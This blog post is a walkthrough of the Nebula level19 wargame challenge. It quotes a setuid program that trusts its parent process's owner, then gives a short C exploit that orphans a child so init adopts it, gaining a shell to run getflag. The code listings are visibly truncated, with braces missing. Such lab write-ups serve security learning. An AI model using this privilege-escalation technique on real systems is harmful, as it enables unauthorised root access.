Information Security and Programming Blog

Exploit Exercises - Nebula Level19

Level19 provides us with the following code:

    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <sys/stat.h>

    int main(int argc, char **argv, char **envp)
      pid_t pid;
      char buf[256];
      struct stat statbuf;

      /* Get the parent's /proc entry, so we can verify its user id */

      snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

      /* stat() it */

      if(stat(buf, &statbuf) == -1) {
          printf("Unable to check parent process\n");

      /* check the owner id */

      if(statbuf.st_uid == 0) {
          /* If root started us, it is ok to start the shell */

          execve("/bin/sh", argv, envp);
          err(1, "Unable to execve");

      printf("You are unauthorized to run this program\n");

And this very detailed hint:

“There is a flaw in the below program in how it operates.”

…No way!!

This comment is the key / If root started us, it is ok to start the shell /

In order to achieve this, we will need to force create an orphan process that would be claimed by init, which is owned by root.

Let’s write some c code to accomplish that.

    level19@nebula:~$ cat orphanage.c
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    int main(int argc, char **argv, char **envp){
        int child;
        child = fork();
        if(child >= 0){
            if(child == 0){
                char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
                execve("/home/flag19/flag19", args, envp);

Time to compile and test:

    level19@nebula:~$ gcc -o orphanage orphanage.c
    level19@nebula:~$ ./orphanage
    level19@nebula:~$ You have successfully executed getflag on a target account

Nebula completed! I want to thank the team over at Exploit Exercises for making this challenge available. I learned a ton from working through this war game, it provided me hands-on practice in a number of areas that I was looking to improve my skills.

Thanks again for reading!